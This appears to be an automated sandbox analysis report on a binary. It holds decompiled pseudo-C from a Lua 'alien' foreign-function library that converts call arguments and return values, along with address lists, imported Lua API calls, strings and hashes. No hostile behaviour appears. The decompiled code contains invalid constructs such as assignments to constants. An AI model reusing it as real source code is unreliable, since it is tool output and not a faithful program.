							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e2309
0x005e2309
0x005e2309
0x005e2309
0x005e2309
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2320
0x005e2325
0x005e233e
0x005e2343
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236f
0x005e2374
0x005e2376
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

Part of subcall function 005E4130: __alloca_probe_16.LIBCMT ref: 005E4160

lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Strings

alien_callback, xrefs: 005E2316
alien_function, xrefs: 005E2339
alien function or callback expected, xrefs: 005E235D

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$__alloca_probe_16lua_getfield.lua_getmetatable.lua_pushnil.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien function or callback expected$alien_callback$alien_function
API String ID: 2132404956-3313075861
Opcode ID: 2e907fb075c18cfe584b0fe4ca2ea7d3c96416bf4f15702761ed88471443e983
Instruction ID: faf5c7f101102b6f078d2827b2a42cfaf25f61345387f83a1fe21f4ca2b86a97
Opcode Fuzzy Hash: 2e907fb075c18cfe584b0fe4ca2ea7d3c96416bf4f15702761ed88471443e983
Instruction Fuzzy Hash: 5DC1C4B5D0414ADFCB08EB95DD89CEEBFB8FF89300F148448E481B724AD634AA15CB61

Uniqueness

Uniqueness Score: -1.00%

Function 005E2276, Relevance: 31.9, APIs: 21, Instructions: 355
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E2276(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				intOrPtr _t220;
				signed int _t223;
				char* _t224;
				signed int _t225;
				char* _t226;
				signed int _t237;
				void* _t245;
				void* _t247;
				intOrPtr _t249;
				intOrPtr _t250;
				void* _t270;
				signed int _t271;
				void* _t272;
				void* _t274;
				signed int _t275;
				intOrPtr _t277;
				void* _t278;
				intOrPtr _t279;
				void* _t280;
				long long _t292;

				L0:
				while(1) {
					L0:
					_t292 = __fp0;
					_t270 = __edi;
					_t220 = E005E46A0(4);
					 *((intOrPtr*)(_t275 - 8)) = _t277;
					_push(_t245);
					L005E3F50();
					_t278 = _t277 + 8;
					_push(_t245);
					_push(_t273);
					if(_t220 == 0) {
						L005E3F4A();
						_t279 = _t278 + 8;
						if(_t220 != 0) {
							_push(0);
							_push(_t245);
							_push(_t273);
							L005E3F5C();
							_t261 =  *((intOrPtr*)(_t275 - 8));
							 *_t261 = _t220;
							_t279 = _t279 + 0xc;
							 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + __edi)) = _t261;
						} else {
							_t261 =  *((intOrPtr*)(_t275 - 8));
							 *_t261 = _t220;
							 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + __edi)) = _t261;
						}
					} else {
						L005E3F4A();
						__esp = __esp + 8;
						if(__eax != 0) {
							_push(__ebx);
							_push(__esi);
							L005E3F0E();
							__ecx =  *(__ebp - 8);
							 *__ecx = __eax;
							__eax = __ecx;
							__ecx =  *(__ebp - 0xc);
							__esp = __esp + 8;
							 *(__ecx + __edi) = __eax;
						} else {
							__ecx =  *(__ebp - 8);
							 *__ecx = __eax;
							__eax = __ecx;
							__ecx =  *(__ebp - 0xc);
							 *(__ecx + __edi) = __eax;
						}
					}
					while(1) {
						L36:
						 *((intOrPtr*)(_t275 - 0xc)) =  *((intOrPtr*)(_t275 - 0xc)) + 4;
						_t245 = _t245 + 1;
						_t116 = _t275 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t275 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t249 =  *((intOrPtr*)(_t275 - 0x14));
						_t261 =  *((intOrPtr*)(_t249 + 0x30));
						_t223 =  *( *((intOrPtr*)(_t275 - 0xc)) +  *((intOrPtr*)(_t249 + 0x30)));
						if(_t223 > 0x11) {
							L33:
							_t224 =  *(_t249 + 8);
							if(_t224 == 0) {
								_t224 = "anonymous";
							}
							_push(_t224);
							_push(_t245);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t273);
							L005E3F26();
							_t279 = _t279 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t223 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t242 = E005E46A0(4);
								 *((intOrPtr*)(_t275 - 8)) = _t279;
								_push(_t245);
								_push(_t273);
								L005E3F68();
								_t279 = _t279 + 8;
								_t243 = E005E45C0(_t242, _t292);
								_t259 =  *((intOrPtr*)(_t275 - 8));
								_t261 =  *((intOrPtr*)(_t275 - 0xc));
								 *_t259 = _t243;
								 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + _t270)) = _t259;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								goto L0;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L19:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t250 =  *((intOrPtr*)(_t275 - 0x14));
					 *((intOrPtr*)(_t275 - 0x3c)) = 0;
					_t225 =  *(_t250 + 0xc);
					if(_t225 > 0xc) {
						L58:
						_t226 =  *(_t250 + 8);
						if(_t226 == 0) {
							_t226 = "anonymous";
						}
						_push(_t226);
						_push("alien: unknown return type (function %s)");
						_push(_t273);
						L005E3F26();
						L61:
						_t280 = _t279 + 0xc;
						L62:
						 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) +  ~( *(_t275 - 0x48)) * 4;
						 *((intOrPtr*)(_t275 - 0x2c)) =  *((intOrPtr*)(_t275 - 0x2c)) -  *((intOrPtr*)(_t275 - 0x30));
						_t271 = 0;
						 *((intOrPtr*)(_t275 - 0x28)) =  *((intOrPtr*)(_t275 - 0x28)) +  ~( *(_t275 - 0x38)) * 4;
						if( *((intOrPtr*)(_t275 - 0x44)) <= 0) {
							L72:
							_pop(_t272);
							_pop(_t274);
							_pop(_t247);
							return E005E45A4( *((intOrPtr*)(_t275 - 0x30)) +  *((intOrPtr*)(_t275 - 0x34)) +  *(_t275 - 0x38) +  *(_t275 - 0x48) + 1, _t247,  *(_t275 - 4) ^ _t275,  *(_t275 - 0x48), _t272, _t274);
						} else {
							goto L63;
						}
						do {
							L63:
							_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 0x30)) + _t271 * 4)) + 0xfffffff3;
							if(_t237 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t237 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t283 = _t280 - 8;
									 *_t283 = _t292;
									_push(_t273);
									L005E3F80();
									_t280 = _t283 + 0xc;
									 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t271 = _t271 + 1;
						} while (_t271 <  *((intOrPtr*)(_t275 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t225 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
